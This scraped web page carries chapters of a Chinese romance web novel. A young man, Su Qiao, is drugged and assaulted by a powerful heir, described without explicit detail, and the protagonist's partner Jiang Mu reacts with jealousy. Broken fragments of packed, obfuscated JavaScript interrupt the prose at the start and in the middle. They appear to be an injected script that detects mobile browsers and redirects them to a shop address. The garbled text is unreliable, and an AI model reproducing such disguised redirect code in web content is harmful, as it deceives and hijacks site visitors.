l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087962|195396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长远。” “我不好看了你会嫌弃我吗?”或许是要出国一段时间,离我太远,经过上次吵架江暮已经完全不敢过多干涉我的生活,让他心中惶遽,十分没有安全感,所以临走前几天总是说一些让我听了哭笑不得的话,“等到三十岁了,没有现在好看了,说不定眼角还会有皱纹,我性格又差,哥哥还会这样包容我吗?” 我回答:“可是江暮,我和你的时间是同时进行的。不是只有你一个人的年纪会慢慢增长。” 江暮突然很自豪的笑:“哥哥这样的脸,肯定什么岁数都很帅,会有很多人追你。” “你也会有。” 江暮摇头,摸了摸自己的脸,又看了看我,忧愁地叹气,我没法了,怎么会有人能容貌焦虑成这样呢?他就算对自己不自信,可看自己那混蛋爹如今那副样子,怎么说也能知道自己那个岁数肯定依旧是好看的。 江暮像个树袋熊一样扒在我身上,压根不让我好好走路,我低头看了他一会儿,问他现在多重,我相信一直在服美役的江暮肯定知道,江暮愣了下,忽然很紧张,攥住我的衣服,支支吾吾的。 应该不重,我想着上次在床上掌住他腰的时候,甚至下意识觉得他是不是在节食,甚至连腹部都微微瘪下去,我严重怀疑他那点腹肌完全是瘦出来的,这小子平时去健身房到底练什么去了。 “......反正不重。”他替自己证明,“我没胖。我前天才称过的。”说完又小心翼翼地问我,“...难道我胖了吗?”不然为什么问他体重。 我无奈地叹了口气,跟他说腿圈紧我,江暮不明白但依然照做了,然后我拖住他,将他整个抱了起来,江暮完全愣住了,这个姿势我只在几年前抱过一次,不过那时候他才二十,现在已经二十五了。 江暮紧紧环住我的脖子,很担心道:“不行哥,很重的,你等会儿别摔着了。” 我没打算一直这样抱着他,将他放在桌上,说:“等你回来和我一起去攀岩俱乐部玩玩。江暮,再这样下去不行,你不能比我一个病人的身体还要差。” “你也会去吗?” 我说:“嗯。” 江暮眼睛亮了:“那我要去,我们一起。哥哥能愿意多出去走走,我很高兴。” 晚上睡前他谨慎又害怕的扯了扯我的衣袖,询问我的意愿:“我想给你办一个个人画展,可以吗?”本来江暮是打算当作一个惊喜的,但又怕我并不喜欢这样的自作主张,于是只能询问我的意见。 “个人画展?”我下意识觉得没必要,“不用了,我的画没什么观赏性。” 江暮急了:“谁说的?哥哥明明很有天赋的,你们学院的老师都很喜欢你。” 我否认道:“没有的事,听谁瞎说的。” 如果我只是拒绝的话,江暮或许还能尊重我的意见将画展这件事搁置,可惜我偏偏多嘴要说自己的画并不值得办画展。 他认为自己是‘慧眼识珠’,可我觉得他是‘情人眼里出西施’,我清晰的自我认知让他觉得我在自贬,他不容许我这样看不起自己,于是十分独裁的说:“等我回来我会给你办的,我要让哥哥知道自己是一个多么有天赋的人。” 他难得没有软着声说话,像是在公司谈正事一样严肃道:“你不能只看到别人的优点,而一味的将自己的优点忽视掉。如果你不想的话,我会让你看清楚的,魏敛哥。” 头疼,搞不懂,也不想搞懂。 等到出发那天又开始撒娇起来,抱着我不肯撒手,说你会照顾好自己的对吗?我会尽快赶回来的,你要好好吃饭。我说:“这话难道不应该对你说?” “我是没时间吃,你是不想吃,这不一样。” “好好好,知道了。” “可以亲我一下吗?”江暮期待的望着我。 真的有点太粘人了,果然不能太惯着他,我面无表情的看了他会儿,江暮微微张开嘴向我邀吻,小声说:“一下,就一秒,很快的,好不好?” 我拿他没办法,暗自想道这个世界上到底谁能有法子能替我管管他?我抚上他的面颊吻了下去,江暮眼睛都笑弯了。 算了,他也就这点出息。 江暮没有再和我说苏桥的事,只是坦言:“哥哥想做什么便去做,只要不危及自身安全,我不会再像之前那样了,那样很不懂事,我希望你以后都开心。” 他这样弄的我也不得不解释:“相亲的事,内情不是你想的那样,那天我气话居多。还有,你不用担心我会对别人产生兴趣,说实话,那样的担心很多余。” 江暮怔愣的看着我,有些手足无措,他似乎没有料到我会主动解释这件事,一时间不知道该如何作答,最后傻子一样的说:“好……谢谢你。” 我捏了捏他的脸:“回答错误。” 江暮:“唔,疼。” 我以为一切就会这么平静的发展下去,未来的轨迹或许会偏移轨道,但至少不是现在。 23. 出院 我与苏桥第二次见面,是在雨天,他替一个男人撑着伞,低眉顺眼,对方大概说了什么话,苏桥很尴尬的摇摇头,赔笑起来。 驻足看了一会儿,苏桥并未发现我。 晚上苏桥又给我发了消息,或许是我从未回复过,他毫无心理负担的每天都会联系我。今天他问:“我们可以见一面吗?学长。” 我没有回复,我不知道见一面后他要向我说什么,甚至还会添上新的麻烦。我对苏桥的帮助已经够多,再牵扯下去,他对我的幻想就愈深,理所应当的,我依旧选择沉默。 我忽视了他的求救。 施女士打电话偷偷告诉我,幸好那天我没有和吴之洲对上眼。吴之洲和一位大他十岁且离异过的男人谈上了恋爱,现在已经被家里人发现,他的父母极其愤怒,接受唯一的儿子是个同性恋实属不易,现下吴之洲和那种一无是处的男人在一起,他们认为简直是将吴家的脸丢尽,造孽如此。 吴父曾经做过心脏搭桥,一气之下进了急诊,吴之洲吓得将年假全用了,专心在医院陪护。 施微女士谨慎的盯着我:“你以后不会也找个那种男的吧?” 我反问:“其他的不说,这下显得江暮是不是顺眼很多?” 施微气道:“放屁!你也不是个省心的!” 夜晚的家中总是很安静,江暮不在更是有些安静的过分。他用心歹毒,每天回来就要贴着我哥哥哥哥的叫,一个人能念叨出五个人的架势,显得家里十分热闹。 江暮向我埋怨董事会里有人欺负为难他,我说你平时也没少欺负别人吧?江暮卖惨失败,破罐破摔,问我那你要帮谁?你帮他们我现在就一头撞死这些人。 实在蛮横。 江暮得空的话,如果我这边时间又方便就会给我打视频电话。那天打着打着又说好想我,问我在家还是在外面,我很无奈的回他:“自己家的床认不出来?” 江暮很甜蜜的笑:“那你在a市等我回来好不好?回来给你做饭吃。” 我心想忙成那样还做什么饭,出去找个餐厅随便应付应付得了,见我沉默着低头看书,江暮不满道:“待会儿看不行吗?” 我瞥了他一眼:“还在倒时差?你眼睛的红血丝很明显。” 江暮立马逃离出镜头外奔向镜子,喃喃:“奇怪,有那么明显?”他掏出一副眼睛,说,“现在就不那么明显了。” 我意外道:“你近视?” “一点点。”江暮说,“不是很要紧。” 说完他开始盯着我看,也学我不说话,我觉得这个场景很诡异,怀疑假如我一直看书而不理他的话,他能跟我这么犟到不得不出去工作。 我问他:“今天上午很闲?” 江暮说:“还有一小时才到约定时间。我今天起的太早了,梦里面梦到你走了,把我吓醒了。” 我抬眼看他,合上书放到桌边,江暮期待的望着我,我还没说话呢,他突然掀起上衣,用牙齿咬住了衣角。 我:“?” 江暮的眼神钩子一样,手指划过中间浅浅的沟壑,我不知道他从哪里学来的这种勾当,他放软声音继续道:“上次你问我去健身房都练什么去了,哥哥,你看得出来吗?” 我顺着他的动作看向他的胸膛,行,这下是知道了。我有些好笑的摇摇头:“你啊......” “不好吗?他们说直男都喜欢这种。” “……你之前不是直男吗?听别人说那些乱七八糟的干什么。” 江暮说,“可是我只喜欢哥哥。所以你喜欢什么样的,我就得努力变成那样。” 我无奈道:“不需要的,江暮,做你自己就好了。” “可是恋爱需要新鲜感。”他认为自己是无趣的,做自己的话,会被太早厌倦。 我懒得同他争辩,慢慢的从上看到下,莫名有些想将他这副样子速写下来,江暮见我看的这样认真,苍白的皮肤渐渐渗出红,胸前很粉,因为呼吸急促,凹瘪的小腹微微伏起,又缓陷下去,江暮叼着衣服,小声又模糊地询问:“...你喜欢壮一点的还是瘦一点的?” 我不为所动:“我喜欢你健康些。” 江暮撇撇嘴,放下衣服,羞恼地低下头,说我不解风情,他都那么用力勾引了。 我笑了下:“嗯,魏敛太可恶了。” “......魏敛不可恶。”江暮自己会朝我撒娇埋怨,但如果有人肯定他的‘埋怨’,他就要推翻方才的言论,并对对方进行反驳(这其中自然连我都包括进去,且依他所言,我是重点观察对象)。 果然,江暮凑近镜头,黑亮的眼睛小狗一样,“魏敛是这个世界上最关心我爱我的人。” 我愣了愣,江暮马上又说:“我离开的这几天,你有想过我吗?我每时每刻都在想你,哥哥。” 想过江暮吗?这个问题无需置疑,我时常会想起他,不过我怕说出来江暮以后要更得寸进尺,这小子我算看清楚了,给点阳光就能蹦跶到我头上。 我面无表情的看着他,没说话,江暮先是期待的同我对视,然后心虚的眨了眨眼,最后抿抿唇,离镜头远了些,坐正在位置上,显然有些失落。 “......不想就不想。” 我被他这副窝囊生闷气的样子给逗乐了,没憋住笑出声,江暮愣了下,反应过来自己被耍了,他得了靠山似的瞪大眼睛,喊我全名:“魏敛!!” “嗯,有事?”我眼里带笑的看他。 “你耍我!你看我害怕你很得意吧!” “有一点。” “你——” “我怎么。” 江暮咬咬牙,过了一会马上泄气,很没出息地问:“...那你到底想没想过我啊?” 我刚想说话,却收到了苏桥的语音通话的消息,苏桥会给我发消息,但我认为他不是那种会莫名给我打电话的人,恐怕是他那边发生了什么事。 我对江暮说:“乖,我这边有事,下次再聊,先挂了。” “……好。”江暮纵然不舍,但不会妨碍我做事,小孩子一样的朝我挥手,“拜拜。” 我挂断通话,接起苏桥的,刚说了一句喂,就听见苏桥那边传来哭噎的声音:“学,学长……” 我愣了下,眉头紧锁,问道:“你怎么了?发生什么事了?” “……我……”他声音颤抖,且声量极小,仿佛怕被人发现,“能来接我么?” 苏桥想,自己为什么不报警呢?报警的话,说不定能让那个叫张帆的人坐牢,但是自己身边的人就都会知道自己被一个男人——然后,他大概还会丢了工作。 说不定,说不定张帆甚至不会受到惩罚。他那样嚣张,好像一点也不怕他报复。 他晃神的坐了半晌,最终一言不发的走向浴室,将证据清洗的一干二净。 我到的时候,苏桥就这样湿着头发,坐在酒店窗边的位置上发呆。 他将自己收拾的很干净,但我还是能闻到房间中未散的气味。 “……苏桥。” 苏桥转头一言不发地看向我,我走到他身前,蹲下身,温柔地问他:“能告诉学长,发生了什么事吗?” 苏桥愣愣地望着我的眼睛,而后他的眼泪便从眼眶里滚落,他哑声道:“魏学长,我想回家了。” “你可以回家,但我们应该把事情解决了,再踏上回家的旅途,不是吗?”我尽可能的将自己的声音再放轻些,怕吓到他,“苏桥,前两天你给我发消息,说想见我,是和这件事有关吗?” “……我也想过和吴学长说,但是他最近家里出了事,我……我也不想给您添麻烦。”苏桥眼眶通红,悲伤的与我对视,“我……不想报警。” 我沉默着,思索他不愿报警的理由,问道:“你怕报警后,别人会知道吗?” “我还怕,怕丢了工作……还不想,不想他们问我发生过的细节,我不想被问,你是怎么被他拖进的房间,我压根就不知道,我只是,只是因为工作,来了这个饭局,我只是,被他劝了几杯酒——”苏桥崩溃的组织语言,“我拒绝过他,他也说了不会强人所难,他骗我!!” 他企图用指甲去挠自己的皮肤,我抓住他的手紧紧握住,轻而缓地问道:“苏桥,他是谁?可以告诉学长吗?” “呜……”我能感觉到苏桥也紧紧回握住了我,像抓住一条救生绳,“……张帆。” 张家?我怔愣住了,b市的张家? “我们公司,和他们,和他们有业务往来。”苏桥说话仍然颤抖,“那天会议后,他私下找过我。” “……那天晚上,你给我发消息,是想和我说他骚扰你的事吗?” 苏桥的眼泪滴落在我的手背上,他难堪的点点头,紧紧咬住牙关:“我也不想麻烦学长,可是……我在a市,除了吴学长就没有什么其他朋友,大学,除了在学校就是兼职……” 从理性的角度上来说,这件事和我没有任何关系,我和苏桥唯一称得上关系的关系,早在他考上大学的那一年就断干净了,我不必回应他的求助,也不必为他如今的境遇感到抱歉。 可愧疚一如既往的如同潮水般淹没了我。 “对不起。”我涩声道,“那天……没有理会你的求助。” 苏桥眼泪又开始噗哒噗哒的往下掉,我抽了几张纸递给他,大概是江暮哭的次数太多,我已经习以为常应付别人的眼泪。 “关于报警的事……你可以再想想。” 苏桥立马摇头。 我站起身,揉了揉跳的厉害的太阳穴,“……我送你回家,好吗?苏桥。” 我是开车来的,苏桥随我来到地下车库,手指一直攥着我的衣角,一言不发的默默跟着我,我替他打开后车门,苏桥抬头看我,又看向我旁边的副座驾,我说:“后面宽敞些,你在后面好休息。” “……谢谢学长。” 我看 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不知为什么我突然想到了江暮,如果江家没有找上门,十四岁的江暮,在得知他妈妈患癌后,又能做什么呢?会不会也会产生苏桥的想法?但应该更极端些,他大概连高中都不想读了,江暮一定会早早出去做那些脏活累活赚钱的。 相似的过往,截然不同的未来。 我有些迷茫的看着斑马线上被大人牵着笑的十分甜蜜的孩子,心想魏敛,你真是擅长搞砸所有的事情。 “……张帆他身后的背景,确实不是一般人能惹得起的。”如果说陈家和张家起了矛盾冲突,结局大概率只会是陈家灰溜溜落败,我思绪繁杂道,“但如果,你想让他得到法律上的惩罚,我会帮你,苏桥。” 我通过后视镜与他对上眼神:“但如果,你想将这件事当做不存在……” 苏桥靠着床:“……我清洗过,不能取证了。酒店的监控在那段时间也一定是坏的,那条廊道上,除了他的人,一个外人都没有。”他喃喃,“学长,像我们这样的穷光蛋,有时候注定是要吃亏的。” 苏桥盯着自己的手心:“但没关系,工作没丢就好。” 我忽然感到很难过,情绪像重锤一下一下砸在我胸口,我只好找了一处能停车的地方,安静许久,直到确认自己能够好好的开口说话,才道:“你奶奶的医药费,我会给你。” “不用的学长,这是我的家事,我现在也有能力赚钱,你不用可怜我。” “……不是可怜。”我现下有点儿不大舒服,但不能在苏桥面前显露,“是弥补。” “可您不欠我什么。” “你说得对……可是我是个很奇怪的人。”我苦笑一声,“我的良心现在非常不安,不安到我甚至以为我又——” 我止住话,转而道:“如果你不愿接受我的赠予,就当是我无息借你的。你等以后可以慢慢还给我,我不着急。” “……”苏桥低下头自嘲的笑了声,“学长不会觉得我很窝囊,很软弱吗?” 我转头看向他,十分认真地告诉他:“苏桥,人拥有软弱的权力。既然拥有这种权力,就不要为其感到可耻。”我说,“再者,你有很多很多需要考虑的事,如果这样的选择让你感到轻松的话,我同样会支持你。” 苏桥抬头怔愣地望着我,眼眶兀的又红了,然后他突然上前抱住我,头抵在我的肩膀,哽咽道:“魏敛学长,我真的一直一直……都喜欢着你。” 我微微推开他,摇头:“对不起,苏桥。” 苏桥反而笑了,他擦掉眼角的泪,轻声说:“是我对不起才对啊学长。又给你添麻烦了。” 我送苏桥回了他的家,他是和别人合租的,说是这样房租会便宜些,他的室友这几天正好出差不在家。我用手机点了几份清淡的外卖和消炎的药,再三向苏桥确认:“真的不需要去医院?” 苏桥胃口不佳的喝粥:“不用了学长,小伤,我擦药就好。” 我怀疑他拉不下脸面去医院,但我实在不方便管他太多,看他喝完粥,又用手探他的额头,有些烫:“吃点药,感觉发烧了。” “……”苏桥呆傻的抬头看我,我挑了挑眉,还没来得及说话,他就道,“……真羡慕江先生啊。” 偏偏就挑了个也不怎么好过的人羡慕。 临走前苏桥问我那个叫张帆的背景究竟有多大,是不是连我都没法搞定。 我不想告诉他现实,可人长大的代价便是学会放弃童话,我已经有些生锈的大脑组织了一下语言,才能够委婉告诉他:“……斗争不一定会有结果。”我又问,“你改变主意了吗?” 苏桥摇头:“……只是在想之后该怎么走。” “需要帮助的话,联系我。”很好,我食言了,江暮知道了又该如何质问我呢?可我不能眼睁睁看着我资助了五年的小孩,好不容易考上了大学和研究生,竟然遇到这些事。 “……这次不会不回你信息了,我保证。” 关上门后,我抬头看向远方的天,有些厌恶的想,我大概,真的有什么很严重的骑士病。 24. 出院 “妈,你认识张帆吗?” 施微奇怪道:“张帆?你是说b市张家那个二世祖?” 我愣了愣:“你跟他有过接触?” “不算多,不过他很出名。”施微说,“负面意义上的。”她皱眉,“你问他干什么?” “……你还记得我高中资助过一位贫困生吗?” 施微一年从头到尾少有空闲,不停的赚钱,然后不停的忙,连家长会都得和魏嘉豪商量好下次谁协调出时间。因此当然不记得这些小事:“啊?有吗?” 我叹了口气,倒也不伤心,爸妈这样早就习惯了,更何况他们赚钱我完全是直接受益人,何必和这些微末小事过不去:“总而言之,他前段时间因为工作原因,和张帆接触过,然后……”我顿了顿,“遇到了些不好的事。” 施微沉吟了会儿,明白了我的意思:“乖儿子,你想帮他?” “不。受害人不愿报警。”我说,“他有他的难处。” 施微无奈道:“这样也好。但是儿子,假如你真的想对付张帆,那妈妈告诉你,这回我和你爸不会帮你。” “我知道。” “我的意思是,如果是你,或者是你老婆……你老公,不,也不对。”施微突然不知道该怎么说,“总之,是要和你相伴下半辈子的人,不幸遇到了那样的事,妈妈爸爸会拼尽全力帮你,因为你是我们的儿子,而另一个是你爱的人。” 我眨眨眼,低声道:“……妈,谢谢你。” “别着急谢。我丑话没说完——那个被你资助的人,对你而言或许也有一定意义,但却不那么重要。” 我无法反驳。假如是江暮遭遇了这种事,即使他不愿报警,我也要同张帆玉石俱焚。但江暮那小子不像苏桥这般无依无靠,背后有江家做倚靠,张帆再大的胆子也不敢随意动他。 施微继续道:“因为不那么重要,所以我和你爸不会管,你也不要去找张帆,知不知道?” 我笑了笑:“我不傻,张家是世家,连陈家那位坐镇的老爷子都不敢和张家掌权人叫板,哪能轮到我上去主持公道。” 施微不放心,再三叮嘱:“魏敛,你可以去做任何公益,植树救助流浪动物资助贫困山区——种种,我和你爸都会在经济和人脉上支持你。但不要为那点微不足道的善心,给自己,给家庭,招惹不好惹的麻烦。” “张帆这些年做的烂事何止一件,但至今还逍遥法外,你应当理解他身后的保护伞有多庞大遮天。” 我嗯了声,向施女士再三保证不会再管这件事。 可是苏桥找我出来散步的时候我却没法拒绝。 我的大脑好像形成了一条诡异的逻辑链,且此逻辑链坚不可摧:我因为避嫌没有接受苏桥最初的求救,错过了他的最佳避险时间,导致孤苦无依的他被张帆再三骚扰,最后在饭局上被灌酒下药,带回酒店。 对于这个结局,我有责任吗? 没有。我告诉自己,哪怕任何人来评价,我也没有任何需要负责的责任, 因此在第三次答应苏桥陪他出来散步的时候,我已然有些迷茫了。 可是当看到苏桥日渐消瘦的身体和浓重的黑眼圈——以及他脖子上新出现的吻痕,我不知道嘴里的那一口咖啡是怎样咽下的。 “……张帆又找你了?” 苏桥眼神空洞的看着我,见我一直在盯他才回过神,缓慢道:“……抱歉学长,你方才,说了什么?” “我说……张帆。”我心事重重,“他是不是又找过你。” 苏桥猛的站起来,神经质的检查四周,紧张的嘴唇发白:“张先生。你好。你好,你好——” 我愣住了,不可置信的抓住苏桥的手,他现在这幅状态我怎么可能不清楚,我放大了声音:“苏桥!” 苏桥僵硬的将眼神放在我身上。 “看着我。”我说,“张帆没有来。” 苏桥眼眶兀的红了,嘴唇颤抖道:“我是不是…是不是……变得有些奇怪?” “不奇怪。”我抚摸他的头发,“不奇怪,苏桥,你生了一个小病而已,没有那么严重,很快会好的。” 苏桥抿紧嘴巴,没有说话。 我问:“……关于这件事,你有什么打算?” 苏桥摇头。 “没有打算?” “他,反正,反正只是玩玩我而已,”苏桥忍住反胃,“昨天,我见到了好多,网红,甚至还有,明星。学长,你知道吗,那个明星,我见过他的代言。”他扯出一个笑,语无伦次,“所以,等他回了b市,就好了,我就可以,可以,这一切都像没有发生过。” 我除了沉默,一句有用的话也说不出。我帮不了他,而他似乎也不愿反抗,苏桥像是走在途中,忽然被暴雨浇了一身,可我的伞只能够遮挡一人,而他只能选择在暴雨中行走,毕竟没人能确定自己能够替他挡雨,苏桥唯一能做的,就是祈祷天空赶紧放晴。 分别的时候,我将负责治疗我的心理医生的联络方式给了他,说:“有时间的话,去看一下吧。我打点过了,你不用付钱。” “……我知道,看心理医生很贵。何况是学长找的医生。” “我不缺钱。”我摸摸苏桥的头顶,“手里没权,但钱还是有很多的,所以不必为此感到负担,你平日总是叫我学长,我不让你白喊。” “我后面,工作很多,学长,你会来看我吗?”苏桥像在茫茫无尽的海里抓住了浮木,他不肯松开这根浮木,挽留他的离开,“……作为朋友。” “……” 我知道,他心里没把我当朋友。可是现下这番状况,以及他的精神状态,我不知道自己需要拿出怎样的决心才能够狠心拒绝。 ‘好’这个字即将窜出我的喉咙,我却突然被一只手往后拉了拉,我转头,江暮站在我身后,笑吟吟的看着我,又看了看苏桥,说:“好久不见,苏桥。” 苏桥垂下眼,双手紧攥在一起,不安道:“我……我……” 江暮十分温柔似的伸出手抚摸苏桥脖子上的咬痕:“谁对你那么狠心,我瞧了都心疼。” 我脸色一变,强硬的抓回他的手,严厉道:“江暮,回去。” 江暮瞳孔紧缩,似乎不敢相信我会因为这样一个举动而给他撂脸子。他江暮昼夜不分的赶回国,原来巧在回来‘捉奸’了。 但他以为的捉奸,应该是自己占领道德高地,小三灰溜溜败走,而他的爱人,需要诚恳的认错,再对他柔情蜜意一段时间,说一些好听的话——江暮想那么出轨这件事就可以揭过了。 这感情好,他一周多的时间不在,成了外人,这两人‘一致对外’,他一句狠话都还没说,反倒得滚回家等待宣判。 “回哪去?”江暮黑沉沉的望向我,“哥,你让我回哪去。” 我不知道他从哪知道我在这的,每次见苏桥我最担心的就是发生这种场景,因苏桥的遭遇我实在不好在外面与他细说解释,又怕他生气上头起来说一些过于难听的话,大脑已经无法良好的处理这种场面,因此只能言简意赅道:“回你家去。事情不是你想的那样。” “……‘你家’?”江暮在脑海里翻来覆去的咀嚼这个词,似笑非笑道,“看来这段时间让哥哥觉得宾至如归了,所以才一直住着。” 我知道他越想越偏了,只能打住他的话头:“江暮。” “魏敛哥,你永远都是这样……这样的——”这样的偏颇外人。为什么不能好好同他解释?江暮狠戾却又茫然地想——为什么要用这种语气驱赶他?好像他江暮是躲在下水道的老鼠,见不得光,他做错了什么吗?是不是太着急回来,坏了好事?还是他的手太脏,碰不得那宝贝的学弟。 “这样的……为他人着想。”江暮大概是顾及我的面子,不想在外面闹得难看,离开前深深地看了我一眼,又朝苏桥笑着点了点头,昂首阔步的离开了。 我松了口气。 “我是不是,给学长你造成麻烦了……”苏桥愧疚的不敢看我,我不想再徒增他的心里负担,摇头:“没有的事。” 我替苏桥叫了辆车,毕竟我知道江暮一定在外面等我,如果我送苏桥回家的话,江暮不会拦着,但那样的话我确实跟他怎么解释也解释不清了。 “苏桥,有任何需要帮助的地方,随时联系我。”我送他上了车,本来已经准备离开了,但不知道想到了什么,弯腰对车里的他说,“你……要不要换个城市生活?” “回老家也好,去其他城市也好。”拿起法律作为武器去对付张帆需要不小的勇气和力量,可苏桥没有那样的心力,那么任何人对此都无能为力。 我只能想到这个方法,有一句话说的实在很有道理,逃避无耻但有用。 “这只是我的一个建议,但你可以考虑一下。”我瞧他一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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我知道江暮开心的时候即使是那双死气沉沉的眼睛也会亮的如同星星,现下他虽然依旧挂着一副笑脸,可见不到一丝笑意——这样的伪装全拜江晖所赐,江晖对调教出来的江暮十分满意,仿佛是年轻时翻版的他,当然了,他自然不会承认江暮比那时的他要优秀得多。 江暮却以为我忘记了他的誓言,舔了舔干涩的嘴唇,说:“苏桥人不错,和你站在一起……也算相配。” 他见我冷着脸不说话,不知道还要怎么说才能让我开心。 为什么? 江暮伸出手,挡住了我的脸,他说:“我不明白我做错了什么,还是因为我的手碰到了他的伤口?我的手可能会有点脏,但应该不至于造成什么感染。” “我想不出来我错在哪,所以,也不知道该怎么向你…向他道歉。” “你这样看我,我很难受。” 江暮抿了抿唇:“这附近没个遮掩,在外面哭的话,很丢人。”他低声道,“所以别那样看我了。” “你和他玩,我会当不知道的。” “……”我不知道我是怎么呼吸的,这一句句好像水泥,要把我的口鼻全补堵住,憋死最好。 江暮他真的有一种天赋,用一些意料之外的方式,将我的情绪调到最高,让我像一颗氢气球,在空中不断上升,飘到高处。 ——然后砰的一声爆炸。 愤怒使我很快找到了我的车,我拉开副驾的门,将他丢了进去,可江暮这边却是想:这个位置苏桥会不会不久前也坐过? 江暮有些不可抑制的反胃,不是恶心苏桥,更不是恶心我,他只是为这样的场景感到疼痛,他当然可以将哥哥分出去一半,但那就像把他一刀劈成两半,他的肠胃血淋淋挂在外面,像飘扬的彩带,为哥哥新的爱情而尖锐喝彩。 好想吐。江暮挣扎着要爬出来,他说:“我出来,我坐后面,我要坐后面。” 我咬着牙狠狠摁住他不让他动作,瞧见江暮脸色苍白的模样,耳朵也跟着嗡嗡叫,我怒道:“我他妈没出轨!!!” “……”江暮眼眶红了,他急促的呼吸着,胸口不断起伏,半晌哽咽道:“魏敛,我没聋也没瞎啊。他对你有意思,你以为我看不出来吗?他想要你在他工作忙的时候去找他——” 他声音颤抖道:“你是要答应他的,我知道,你是准备答应他的。” 我说:“那是因为他这段时间因为一些事过得很不好——” “所以。”江暮眼眶里含着的眼泪终于落了下来,他错也不错的看着我,几乎无法每个字都完好的说出来,“就像当初你觉得我可怜所以答应告白一样,你也开始可怜他了,不是吗?”